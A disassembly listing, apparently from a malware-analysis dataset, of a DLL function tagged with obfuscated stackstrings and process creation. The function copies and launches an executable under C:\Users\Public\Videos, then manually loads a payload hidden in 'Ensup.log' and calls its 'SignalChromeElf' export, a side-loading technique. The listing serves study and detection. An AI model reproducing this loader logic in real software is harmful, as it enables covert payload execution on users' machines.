Function at 0x100038c0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101533d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2c0
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push sym.MFCLibrary1.dll_RunWebHelper
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
test eax, eax
je 0x10003990
push 0x104
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
js 0x10003957
nop word [eax + eax]
lea ecx, [ebp - 0x2d0]
cmp byte [ecx + eax], 0x5c
je 0x10003953
sub eax, 1
jns 0x10003940
jmp 0x10003957
mov byte [ecx + eax], 0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003975
sub ecx, edx
lea eax, [ebp - 0x2d0]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.100077b0
jmp 0x100039b2
xorps xmm0, xmm0
mov dword [ebp - 0x38], 2
movups xmmword [ebp - 0x48], xmm0
mov eax, 0x6f6e
mov dword [ebp - 0x34], 0xf
mov word [ebp - 0x48], ax
mov byte [ebp - 0x46], 0
xorps xmm0, xmm0
push 0x20
movups xmmword [ebp - 0x78], xmm0
call fcn.10008ce0
movups xmm0, xmmword [str.C:UsersPublicVideos_bin.exe]
mov edx, eax
mov dword [ebp - 0x68], 0x1e
mov dword [ebp - 0x78], edx
add esp, 4
mov dword [ebp - 0x64], 0x1f
movups xmmword [edx], xmm0
push str.1.exe
movq xmm0, qword [0x10192134]
movq qword [edx + 0x10], xmm0
mov ecx, dword [0x1019213c]
mov dword [edx + 0x18], ecx
lea ecx, [ebp - 0xa8]
mov ax, word [0x10192140]
mov word [edx + 0x1c], ax
mov byte [edx + 0x1e], 0
lea edx, [ebp - 0x48]
call fcn.10007420
sub esp, 8
lea ecx, [ebp - 0x288]
push eax
call fcn.10004ec0
sub esp, 0xc
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x1c8]
push eax
call fcn.10004190
cmp dword [ebp - 0x22c], 0
je 0x10003b42
cmp dword [ebp - 0x178], 0
je 0x10003b42
lea eax, [ebp - 0x278]
push eax
lea ecx, [ebp - 0x1c8]
call fcn.10005950
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x1cc], eax
lea ecx, [ebp - 0x1c4]
call fcn.10004e20
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1cc], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10145697
mov eax, dword [ebp - 0x288]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x28c], eax
lea ecx, [ebp - 0x278]
call fcn.10004e20
mov eax, dword [ebp - 0x288]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x28c], eax
mov dword [ebp - 4], 3
jmp 0x10003c1b
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x1cc], eax
lea ecx, [ebp - 0x1c4]
call fcn.10004e20
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1cc], eax
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10145697
mov eax, dword [ebp - 0x288]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x28c], eax
lea ecx, [ebp - 0x278]
call fcn.10004e20
mov eax, dword [ebp - 0x288]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x288]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x28c], eax
mov dword [ebp - 4], 1
lea eax, [ebp - 0x218]
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
push eax
call fcn.10145697
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x10003c75
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003c6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100040fa
push ecx
push edx
call fcn.10143f0e
add esp, 8
push str.1.exe
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0xa8]
call fcn.10007420
mov esi, eax
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
mov dword [ebp - 0x114], 0x3c
add esp, 4
movlpd qword [ebp - 0x10c], xmm0
movlpd qword [ebp - 0x100], xmm0
cmp dword [esi + 0x14], 0x10
movlpd qword [ebp - 0xf4], xmm0
movlpd qword [ebp - 0xec], xmm0
movlpd qword [ebp - 0xe4], xmm0
mov dword [ebp - 0x110], 0x40
jb 0x10003cde
mov eax, dword [esi]
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0xf8], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x10003d2a
cmp dword [esi + 0x14], 0x10
jb 0x10003d07
mov esi, dword [esi]
mov edx, 0x10192114
mov ecx, 0x101b7e08
call fcn.10007180
mov edx, esi
mov ecx, eax
call fcn.10007180
push eax
call fcn.100070e0
add esp, 4
jmp 0x10003d36
push dword [ebp - 0xdc]
call dword [0x10163344]
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x10003d70
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003d66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100040ff
push ecx
push edx
call fcn.10143f0e
add esp, 8
movaps xmm0, xmmword [str.SignalChromeElf]
lea edx, [ebp - 0x48]
push 0x1019214c
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x24], 0x75736e45
mov dword [ebp - 0x20], 0x6f6c2e70
mov word [ebp - 0x1c], 0x67
movups xmmword [ebp - 0xa0], xmm0
call fcn.10007420
mov ecx, eax
lea edi, [ebp - 0x24]
add esp, 4
mov dword [ebp - 0x18], ecx
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x10003db3
mov esi, dword [ecx + 0x14]
sub edi, edx
mov edx, dword [ecx + 0x10]
mov eax, esi
sub eax, edx
cmp edi, eax
ja 0x10003df3
lea eax, [edx + edi]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp esi, 0x10
jb 0x10003dd9
mov eax, dword [ecx]
lea esi, [eax + edx]
push edi
lea eax, [ebp - 0x24]
push eax
push esi
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x10003e05
push edi
lea eax, [ebp - 0x24]
mov byte [ebp - 0x18], 0
push eax
push dword [ebp - 0x18]
push edi
call fcn.10007890
mov dword [ebp - 0x50], 0
lea edx, [ebp - 0x60]
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0xc0]
xorps xmm0, xmm0
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x50], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100033b0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x10003e7e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003e74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004104
push ecx
push edx
call fcn.10143f0e
add esp, 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
cmp ecx, 0x10
jb 0x10003eca
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003ec0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004104
push ecx
push edx
call fcn.10143f0e
add esp, 8
lea edx, [ebp - 0xc0]
mov dword [ebp - 0xc8], 0
lea ecx, [ebp - 0x90]
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
call fcn.10003220
cmp dword [ebp - 0x7c], 0x10
lea ecx, [ebp - 0x90]
cmovae ecx, dword [ebp - 0x90]
call fcn.10002ce0
mov dword [ebp - 0x18], eax
test eax, eax
je 0x10003fac
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 0x30], ecx
cmp dword [eax + 0x7c], 0
je 0x10003fa4
mov eax, dword [eax + 0x78]
add eax, ecx
mov dword [ebp - 0x2c], eax
mov edx, dword [eax + 0x18]
test edx, edx
je 0x10003fa4
cmp dword [eax + 0x14], 0
je 0x10003fa4
mov edi, dword [eax + 0x20]
mov eax, dword [eax + 0x24]
add edi, ecx
add eax, ecx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], eax
test edx, edx
je 0x10003fa4
mov eax, dword [edi]
lea esi, [ebp - 0xa0]
lea edx, [ecx + eax]
sub esi, edx
nop
mov cl, byte [esi + edx]
call fcn.10002890
mov cl, byte [edx]
mov ch, al
call fcn.10002890
cmp ch, al
ja 0x100040bb
jb 0x100040bb
inc edx
or al, ch
jne 0x10003f60
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x2c]
cmp ecx, dword [eax + 0x14]
ja 0x10003fa4
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x30]
mov eax, dword [eax + ecx]
add eax, ecx
je 0x10003fa4
call eax
mov ecx, dword [ebp - 0x18]
call fcn.10003050
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x10003fe3
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003fd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004109
push ecx
push edx
call fcn.10143f0e
add esp, 8
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp ecx, 0x10
jb 0x10004032
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004028
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004109
push ecx
push edx
call fcn.10143f0e
add esp, 8
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp ecx, 0x10
jb 0x10004081
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004077
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004109
push ecx
push edx
call fcn.10143f0e
add esp, 8
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
cmp ecx, 0x10
jb 0x100040e7
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100040dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004109
jmp 0x100040dd
mov ecx, dword [ebp - 0x28]
add edi, 4
mov eax, dword [ebp - 0x2c]
inc ecx
add dword [ebp - 0x14], 2
mov dword [ebp - 0x28], ecx
cmp ecx, dword [eax + 0x18]
jae 0x10003fa4
mov ecx, dword [ebp - 0x30]
jmp 0x10003f52
push ecx
push edx
call fcn.10143f0e
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10145ec0
call fcn.10145ec0
call fcn.10145ec0
call fcn.10145ec0
int3